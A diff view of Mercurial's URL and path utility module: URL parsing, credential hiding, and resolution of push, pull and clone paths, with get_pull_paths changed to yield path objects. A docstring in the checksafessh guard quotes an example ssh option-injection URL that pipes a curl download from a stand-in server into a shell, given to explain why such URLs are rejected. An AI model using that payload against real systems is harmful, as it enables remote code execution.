207 207 # Don't split on colons in IPv6 addresses without ports
208 208 if (
209 209 self.host
210 210 and b':' in self.host
211 211 and not (
212 212 self.host.startswith(b'[') and self.host.endswith(b']')
213 213 )
214 214 ):
215 215 self._hostport = self.host
216 216 self.host, self.port = self.host.rsplit(b':', 1)
217 217 if not self.host:
218 218 self.host = None
219 219
220 220 if (
221 221 self.host
222 222 and self.scheme == b'file'
223 223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 224 ):
225 225 raise error.Abort(
226 226 _(b'file:// URLs can only refer to localhost')
227 227 )
228 228
229 229 self.path = path
230 230
231 231 # leave the query string escaped
232 232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 233 v = getattr(self, a)
234 234 if v is not None:
235 235 setattr(self, a, urlreq.unquote(v))
236 236
237 237 def copy(self):
238 238 u = url(b'temporary useless value')
239 239 u.path = self.path
240 240 u.scheme = self.scheme
241 241 u.user = self.user
242 242 u.passwd = self.passwd
243 243 u.host = self.host
244 244 u.path = self.path
245 245 u.query = self.query
246 246 u.fragment = self.fragment
247 247 u._localpath = self._localpath
248 248 u._hostport = self._hostport
249 249 u._origpath = self._origpath
250 250 return u
251 251
252 252 @encoding.strmethod
253 253 def __repr__(self):
254 254 attrs = []
255 255 for a in (
256 256 b'scheme',
257 257 b'user',
258 258 b'passwd',
259 259 b'host',
260 260 b'port',
261 261 b'path',
262 262 b'query',
263 263 b'fragment',
264 264 ):
265 265 v = getattr(self, a)
266 266 if v is not None:
267 267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 268 return b'<url %s>' % b', '.join(attrs)
269 269
270 270 def __bytes__(self):
271 271 r"""Join the URL's components back into a URL string.
272 272
273 273 Examples:
274 274
275 275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 278 'http://user:pw@host:80/?foo=bar&baz=42'
279 279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 282 'ssh://user:pw@[::1]:2200//home/joe#'
283 283 >>> bytes(url(b'http://localhost:80//'))
284 284 'http://localhost:80//'
285 285 >>> bytes(url(b'http://localhost:80/'))
286 286 'http://localhost:80/'
287 287 >>> bytes(url(b'http://localhost:80'))
288 288 'http://localhost:80/'
289 289 >>> bytes(url(b'bundle:foo'))
290 290 'bundle:foo'
291 291 >>> bytes(url(b'bundle://../foo'))
292 292 'bundle:../foo'
293 293 >>> bytes(url(b'path'))
294 294 'path'
295 295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 296 'file:///tmp/foo/bar'
297 297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 298 'file:///c:/tmp/foo/bar'
299 299 >>> print(url(br'bundle:foo\bar'))
300 300 bundle:foo\bar
301 301 >>> print(url(br'file:///D:\data\hg'))
302 302 file:///D:\data\hg
303 303 """
304 304 if self._localpath:
305 305 s = self.path
306 306 if self.scheme == b'bundle':
307 307 s = b'bundle:' + s
308 308 if self.fragment:
309 309 s += b'#' + self.fragment
310 310 return s
311 311
312 312 s = self.scheme + b':'
313 313 if self.user or self.passwd or self.host:
314 314 s += b'//'
315 315 elif self.scheme and (
316 316 not self.path
317 317 or self.path.startswith(b'/')
318 318 or hasdriveletter(self.path)
319 319 ):
320 320 s += b'//'
321 321 if hasdriveletter(self.path):
322 322 s += b'/'
323 323 if self.user:
324 324 s += urlreq.quote(self.user, safe=self._safechars)
325 325 if self.passwd:
326 326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 327 if self.user or self.passwd:
328 328 s += b'@'
329 329 if self.host:
330 330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 331 s += urlreq.quote(self.host)
332 332 else:
333 333 s += self.host
334 334 if self.port:
335 335 s += b':' + urlreq.quote(self.port)
336 336 if self.host:
337 337 s += b'/'
338 338 if self.path:
339 339 # TODO: similar to the query string, we should not unescape the
340 340 # path when we store it, the path might contain '%2f' = '/',
341 341 # which we should *not* escape.
342 342 s += urlreq.quote(self.path, safe=self._safepchars)
343 343 if self.query:
344 344 # we store the query in escaped form.
345 345 s += b'?' + self.query
346 346 if self.fragment is not None:
347 347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 348 return s
349 349
350 350 __str__ = encoding.strmethod(__bytes__)
351 351
352 352 def authinfo(self):
353 353 user, passwd = self.user, self.passwd
354 354 try:
355 355 self.user, self.passwd = None, None
356 356 s = bytes(self)
357 357 finally:
358 358 self.user, self.passwd = user, passwd
359 359 if not self.user:
360 360 return (s, None)
361 361 # authinfo[1] is passed to urllib2 password manager, and its
362 362 # URIs must not contain credentials. The host is passed in the
363 363 # URIs list because Python < 2.4.3 uses only that to search for
364 364 # a password.
365 365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366 366
367 367 def isabs(self):
368 368 if self.scheme and self.scheme != b'file':
369 369 return True # remote URL
370 370 if hasdriveletter(self.path):
371 371 return True # absolute for our purposes - can't be joined()
372 372 if self.path.startswith(br'\\'):
373 373 return True # Windows UNC path
374 374 if self.path.startswith(b'/'):
375 375 return True # POSIX-style
376 376 return False
377 377
378 378 def localpath(self):
379 379 # type: () -> bytes
380 380 if self.scheme == b'file' or self.scheme == b'bundle':
381 381 path = self.path or b'/'
382 382 # For Windows, we need to promote hosts containing drive
383 383 # letters to paths with drive letters.
384 384 if hasdriveletter(self._hostport):
385 385 path = self._hostport + b'/' + self.path
386 386 elif (
387 387 self.host is not None and self.path and not hasdriveletter(path)
388 388 ):
389 389 path = b'/' + path
390 390 return path
391 391 return self._origpath
392 392
393 393 def islocal(self):
394 394 '''whether localpath will return something that posixfile can open'''
395 395 return (
396 396 not self.scheme
397 397 or self.scheme == b'file'
398 398 or self.scheme == b'bundle'
399 399 )
400 400
401 401
402 402 def hasscheme(path):
403 403 # type: (bytes) -> bool
404 404 return bool(url(path).scheme) # cast to help pytype
405 405
406 406
407 407 def hasdriveletter(path):
408 408 # type: (bytes) -> bool
409 409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410 410
411 411
412 412 def urllocalpath(path):
413 413 # type: (bytes) -> bytes
414 414 return url(path, parsequery=False, parsefragment=False).localpath()
415 415
416 416
417 417 def checksafessh(path):
418 418 # type: (bytes) -> None
419 419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420 420
421 421 This is a sanity check for ssh urls. ssh will parse the first item as
422 422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 423 Let's prevent these potentially exploited urls entirely and warn the
424 424 user.
425 425
426 426 Raises an error.Abort when the url is unsafe.
427 427 """
428 428 path = urlreq.unquote(path)
429 429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 430 raise error.Abort(
431 431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 432 )
433 433
434 434
435 435 def hidepassword(u):
436 436 # type: (bytes) -> bytes
437 437 '''hide user credential in a url string'''
438 438 u = url(u)
439 439 if u.passwd:
440 440 u.passwd = b'***'
441 441 return bytes(u)
442 442
443 443
444 444 def removeauth(u):
445 445 # type: (bytes) -> bytes
446 446 '''remove all authentication information from a url string'''
447 447 u = url(u)
448 448 u.user = u.passwd = None
449 449 return bytes(u)
450 450
451 451
452 452 def list_paths(ui, target_path=None):
453 453 """list all the (name, paths) in the passed ui"""
454 454 result = []
455 455 if target_path is None:
456 456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
457 457 for p in paths:
458 458 result.append((name, p))
459 459
460 460 else:
461 461 for path in ui.paths.get(target_path, []):
462 462 result.append((target_path, path))
463 463 return result
464 464
465 465
466 466 def try_path(ui, url):
467 467 """try to build a path from a url
468 468
469 469 Return None if no Path could built.
470 470 """
471 471 try:
472 472 # we pass the ui instance are warning might need to be issued
473 473 return path(ui, None, rawloc=url)
474 474 except ValueError:
475 475 return None
476 476
477 477
478 478 def get_push_paths(repo, ui, dests):
479 479 """yields all the `path` selected as push destination by `dests`"""
480 480 if not dests:
481 481 if b'default-push' in ui.paths:
482 482 for p in ui.paths[b'default-push']:
483 483 yield p
484 484 elif b'default' in ui.paths:
485 485 for p in ui.paths[b'default']:
486 486 yield p
487 487 else:
488 488 raise error.ConfigError(
489 489 _(b'default repository not configured!'),
490 490 hint=_(b"see 'hg help config.paths'"),
491 491 )
492 492 else:
493 493 for dest in dests:
494 494 if dest in ui.paths:
495 495 for p in ui.paths[dest]:
496 496 yield p
497 497 else:
498 498 path = try_path(ui, dest)
499 499 if path is None:
500 500 msg = _(b'repository %s does not exist')
501 501 msg %= dest
502 502 raise error.RepoError(msg)
503 503 yield path
504 504
505 505
506 def get_pull_paths(repo, ui, sources, default_branches=()):
506 def get_pull_paths(repo, ui, sources):
507 507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 508 if not sources:
509 509 sources = [b'default']
510 510 for source in sources:
511 511 if source in ui.paths:
512 512 for p in ui.paths[source]:
513 yield parseurl(p.rawloc, default_branches)
513 yield p
514 514 else:
515 515 p = path(ui, None, source, validate_path=False)
516 yield parseurl(p.rawloc, default_branches)
516 yield p
517 517
518 518
519 519 def get_unique_push_path(action, repo, ui, dest=None):
520 520 """return a unique `path` or abort if multiple are found
521 521
522 522 This is useful for command and action that does not support multiple
523 523 destination (yet).
524 524
525 525 Note that for now, we cannot get multiple destination so this function is "trivial".
526 526
527 527 The `action` parameter will be used for the error message.
528 528 """
529 529 if dest is None:
530 530 dests = []
531 531 else:
532 532 dests = [dest]
533 533 dests = list(get_push_paths(repo, ui, dests))
534 534 if len(dests) != 1:
535 535 if dest is None:
536 536 msg = _(
537 537 b"default path points to %d urls while %s only supports one"
538 538 )
539 539 msg %= (len(dests), action)
540 540 else:
541 541 msg = _(b"path points to %d urls while %s only supports one: %s")
542 542 msg %= (len(dests), action, dest)
543 543 raise error.Abort(msg)
544 544 return dests[0]
545 545
546 546
547 547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
548 548 """return a unique `(path, branch)` or abort if multiple are found
549 549
550 550 This is useful for command and action that does not support multiple
551 551 destination (yet).
552 552
553 553 Note that for now, we cannot get multiple destination so this function is "trivial".
554 554
555 555 The `action` parameter will be used for the error message.
556 556 """
557 557 urls = []
558 558 if source is None:
559 559 if b'default' in ui.paths:
560 560 urls.extend(p.rawloc for p in ui.paths[b'default'])
561 561 else:
562 562 # XXX this is the historical default behavior, but that is not
563 563 # great, consider breaking BC on this.
564 564 urls.append(b'default')
565 565 else:
566 566 if source in ui.paths:
567 567 urls.extend(p.rawloc for p in ui.paths[source])
568 568 else:
569 569 # Try to resolve as a local path or URI.
570 570 path = try_path(ui, source)
571 571 if path is not None:
572 572 urls.append(path.rawloc)
573 573 else:
574 574 urls.append(source)
575 575 if len(urls) != 1:
576 576 if source is None:
577 577 msg = _(
578 578 b"default path points to %d urls while %s only supports one"
579 579 )
580 580 msg %= (len(urls), action)
581 581 else:
582 582 msg = _(b"path points to %d urls while %s only supports one: %s")
583 583 msg %= (len(urls), action, source)
584 584 raise error.Abort(msg)
585 585 return parseurl(urls[0], default_branches)
586 586
587 587
588 588 def get_clone_path(ui, source, default_branches=()):
589 589 """return the `(origsource, path, branch)` selected as clone source"""
590 590 urls = []
591 591 if source is None:
592 592 if b'default' in ui.paths:
593 593 urls.extend(p.rawloc for p in ui.paths[b'default'])
594 594 else:
595 595 # XXX this is the historical default behavior, but that is not
596 596 # great, consider breaking BC on this.
597 597 urls.append(b'default')
598 598 else:
599 599 if source in ui.paths:
600 600 urls.extend(p.rawloc for p in ui.paths[source])
601 601 else:
602 602 # Try to resolve as a local path or URI.
603 603 path = try_path(ui, source)
604 604 if path is not None:
605 605 urls.append(path.rawloc)
606 606 else:
607 607 urls.append(source)
608 608 if len(urls) != 1:
609 609 if source is None:
610 610 msg = _(
611 611 b"default path points to %d urls while only one is supported"
612 612 )
613 613 msg %= len(urls)
614 614 else:
615 615 msg = _(b"path points to %d urls while only one is supported: %s")
616 616 msg %= (len(urls), source)
617 617 raise error.Abort(msg)
618 618 url = urls[0]
619 619 clone_path, branch = parseurl(url, default_branches)
620 620 return url, clone_path, branch
621 621
622 622
623 623 def parseurl(path, branches=None):
624 624 '''parse url#branch, returning (url, (branch, branches))'''
625 625 u = url(path)
626 626 branch = None
627 627 if u.fragment:
628 628 branch = u.fragment
629 629 u.fragment = None
630 630 return bytes(u), (branch, branches or [])
631 631
632 632
633 633 class paths(dict):
634 634 """Represents a collection of paths and their configs.
635 635
636 636 Data is initially derived from ui instances and the config files they have
637 637 loaded.
638 638 """
639 639
640 640 def __init__(self, ui):
641 641 dict.__init__(self)
642 642
643 643 home_path = os.path.expanduser(b'~')
644 644
645 645 for name, value in ui.configitems(b'paths', ignoresub=True):
646 646 # No location is the same as not existing.
647 647 if not value:
648 648 continue
649 649 _value, sub_opts = ui.configsuboptions(b'paths', name)
650 650 s = ui.configsource(b'paths', name)
651 651 root_key = (name, value, s)
652 652 root = ui._path_to_root.get(root_key, home_path)
653 653
654 654 multi_url = sub_opts.get(b'multi-urls')
655 655 if multi_url is not None and stringutil.parsebool(multi_url):
656 656 base_locs = stringutil.parselist(value)
657 657 else:
658 658 base_locs = [value]
659 659
660 660 paths = []
661 661 for loc in base_locs:
662 662 loc = os.path.expandvars(loc)
663 663 loc = os.path.expanduser(loc)
664 664 if not hasscheme(loc) and not os.path.isabs(loc):
665 665 loc = os.path.normpath(os.path.join(root, loc))
666 666 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
667 667 paths.append(p)
668 668 self[name] = paths
669 669
670 670 for name, old_paths in sorted(self.items()):
671 671 new_paths = []
672 672 for p in old_paths:
673 673 new_paths.extend(_chain_path(p, ui, self))
674 674 self[name] = new_paths
675 675
676 676 def getpath(self, ui, name, default=None):
677 677 """Return a ``path`` from a string, falling back to default.
678 678
679 679 ``name`` can be a named path or locations. Locations are filesystem
680 680 paths or URIs.
681 681
682 682 Returns None if ``name`` is not a registered path, a URI, or a local
683 683 path to a repo.
684 684 """
685 685 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
686 686 ui.deprecwarn(msg, b'6.0')
687 687 # Only fall back to default if no path was requested.
688 688 if name is None:
689 689 if not default:
690 690 default = ()
691 691 elif not isinstance(default, (tuple, list)):
692 692 default = (default,)
693 693 for k in default:
694 694 try:
695 695 return self[k][0]
696 696 except KeyError:
697 697 continue
698 698 return None
699 699
700 700 # Most likely empty string.
701 701 # This may need to raise in the future.
702 702 if not name:
703 703 return None
704 704 if name in self:
705 705 return self[name][0]
706 706 else:
707 707 # Try to resolve as a local path or URI.
708 708 path = try_path(ui, name)
709 709 if path is None:
710 710 raise error.RepoError(_(b'repository %s does not exist') % name)
711 711 return path.rawloc
712 712
713 713
714 714 _pathsuboptions = {}
715 715
716 716
717 717 def pathsuboption(option, attr):
718 718 """Decorator used to declare a path sub-option.
719 719
720 720 Arguments are the sub-option name and the attribute it should set on
721 721 ``path`` instances.
722 722
723 723 The decorated function will receive as arguments a ``ui`` instance,
724 724 ``path`` instance, and the string value of this option from the config.
725 725 The function should return the value that will be set on the ``path``
726 726 instance.
727 727
728 728 This decorator can be used to perform additional verification of
729 729 sub-options and to change the type of sub-options.
730 730 """
731 731
732 732 def register(func):
733 733 _pathsuboptions[option] = (attr, func)
734 734 return func
735 735
736 736 return register
737 737
738 738
739 739 @pathsuboption(b'pushurl', b'pushloc')
740 740 def pushurlpathoption(ui, path, value):
741 741 u = url(value)
742 742 # Actually require a URL.
743 743 if not u.scheme:
744 744 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
745 745 msg %= (path.name, value)
746 746 ui.warn(msg)
747 747 return None
748 748
749 749 # Don't support the #foo syntax in the push URL to declare branch to
750 750 # push.
751 751 if u.fragment:
752 752 ui.warn(
753 753 _(
754 754 b'("#fragment" in paths.%s:pushurl not supported; '
755 755 b'ignoring)\n'
756 756 )
757 757 % path.name
758 758 )
759 759 u.fragment = None
760 760
761 761 return bytes(u)
762 762
763 763
764 764 @pathsuboption(b'pushrev', b'pushrev')
765 765 def pushrevpathoption(ui, path, value):
766 766 return value
767 767
768 768
769 769 @pathsuboption(b'multi-urls', b'multi_urls')
770 770 def multiurls_pathoption(ui, path, value):
771 771 res = stringutil.parsebool(value)
772 772 if res is None:
773 773 ui.warn(
774 774 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
775 775 )
776 776 res = False
777 777 return res
778 778
779 779
780 780 def _chain_path(base_path, ui, paths):
781 781 """return the result of "path://" logic applied on a given path"""
782 782 new_paths = []
783 783 if base_path.url.scheme != b'path':
784 784 new_paths.append(base_path)
785 785 else:
786 786 assert base_path.url.path is None
787 787 sub_paths = paths.get(base_path.url.host)
788 788 if sub_paths is None:
789 789 m = _(b'cannot use `%s`, "%s" is not a known path')
790 790 m %= (base_path.rawloc, base_path.url.host)
791 791 raise error.Abort(m)
792 792 for subpath in sub_paths:
793 793 path = base_path.copy()
794 794 if subpath.raw_url.scheme == b'path':
795 795 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
796 796 m %= (path.rawloc, path.url.host)
797 797 raise error.Abort(m)
798 798 path.url = subpath.url
799 799 path.rawloc = subpath.rawloc
800 800 path.loc = subpath.loc
801 801 if path.branch is None:
802 802 path.branch = subpath.branch
803 803 else:
804 804 base = path.rawloc.rsplit(b'#', 1)[0]
805 805 path.rawloc = b'%s#%s' % (base, path.branch)
806 806 suboptions = subpath._all_sub_opts.copy()
807 807 suboptions.update(path._own_sub_opts)
808 808 path._apply_suboptions(ui, suboptions)
809 809 new_paths.append(path)
810 810 return new_paths
811 811
812 812
813 813 class path(object):
814 814 """Represents an individual path and its configuration."""
815 815
816 816 def __init__(
817 817 self,
818 818 ui=None,
819 819 name=None,
820 820 rawloc=None,
821 821 suboptions=None,
822 822 validate_path=True,
823 823 ):
824 824 """Construct a path from its config options.
825 825
826 826 ``ui`` is the ``ui`` instance the path is coming from.
827 827 ``name`` is the symbolic name of the path.
828 828 ``rawloc`` is the raw location, as defined in the config.
829 829 ``pushloc`` is the raw locations pushes should be made to.
830 830
831 831 If ``name`` is not defined, we require that the location be a) a local
832 832 filesystem path with a .hg directory or b) a URL. If not,
833 833 ``ValueError`` is raised.
834 834 """
835 835 if ui is None:
836 836 # used in copy
837 837 assert name is None
838 838 assert rawloc is None
839 839 assert suboptions is None
840 840 return
841 841
842 842 if not rawloc:
843 843 raise ValueError(b'rawloc must be defined')
844 844
845 845 # Locations may define branches via syntax <base>#<branch>.
846 846 u = url(rawloc)
847 847 branch = None
848 848 if u.fragment:
849 849 branch = u.fragment
850 850 u.fragment = None
851 851
852 852 self.url = u
853 853 # the url from the config/command line before dealing with `path://`
854 854 self.raw_url = u.copy()
855 855 self.branch = branch
856 856
857 857 self.name = name
858 858 self.rawloc = rawloc
859 859 self.loc = b'%s' % u
860 860
861 861 if validate_path:
862 862 self._validate_path()
863 863
864 864 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
865 865 self._own_sub_opts = {}
866 866 if suboptions is not None:
867 867 self._own_sub_opts = suboptions.copy()
868 868 sub_opts.update(suboptions)
869 869 self._all_sub_opts = sub_opts.copy()
870 870
871 871 self._apply_suboptions(ui, sub_opts)
872 872
873 873 def copy(self):
874 874 """make a copy of this path object"""
875 875 new = self.__class__()
876 876 for k, v in self.__dict__.items():
877 877 new_copy = getattr(v, 'copy', None)
878 878 if new_copy is not None:
879 879 v = new_copy()
880 880 new.__dict__[k] = v
881 881 return new
882 882
883 883 def _validate_path(self):
884 884 # When given a raw location but not a symbolic name, validate the
885 885 # location is valid.
886 886 if (
887 887 not self.name
888 888 and not self.url.scheme
889 889 and not self._isvalidlocalpath(self.loc)
890 890 ):
891 891 raise ValueError(
892 892 b'location is not a URL or path to a local '
893 893 b'repo: %s' % self.rawloc
894 894 )
895 895
896 896 def _apply_suboptions(self, ui, sub_options):
897 897 # Now process the sub-options. If a sub-option is registered, its
898 898 # attribute will always be present. The value will be None if there
899 899 # was no valid sub-option.
900 900 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
901 901 if suboption not in sub_options:
902 902 setattr(self, attr, None)
903 903 continue
904 904
905 905 value = func(ui, self, sub_options[suboption])
906 906 setattr(self, attr, value)
907 907
908 908 def _isvalidlocalpath(self, path):
909 909 """Returns True if the given path is a potentially valid repository.
910 910 This is its own function so that extensions can change the definition of
911 911 'valid' in this case (like when pulling from a git repo into a hg
912 912 one)."""
913 913 try:
914 914 return os.path.isdir(os.path.join(path, b'.hg'))
915 915 # Python 2 may return TypeError. Python 3, ValueError.
916 916 except (TypeError, ValueError):
917 917 return False
918 918
919 919 @property
920 920 def suboptions(self):
921 921 """Return sub-options and their values for this path.
922 922
923 923 This is intended to be used for presentation purposes.
924 924 """
925 925 d = {}
926 926 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
927 927 value = getattr(self, attr)
928 928 if value is not None:
929 929 d[subopt] = value
930 930 return d
General Comments 0
You need to be logged in to leave comments. Login now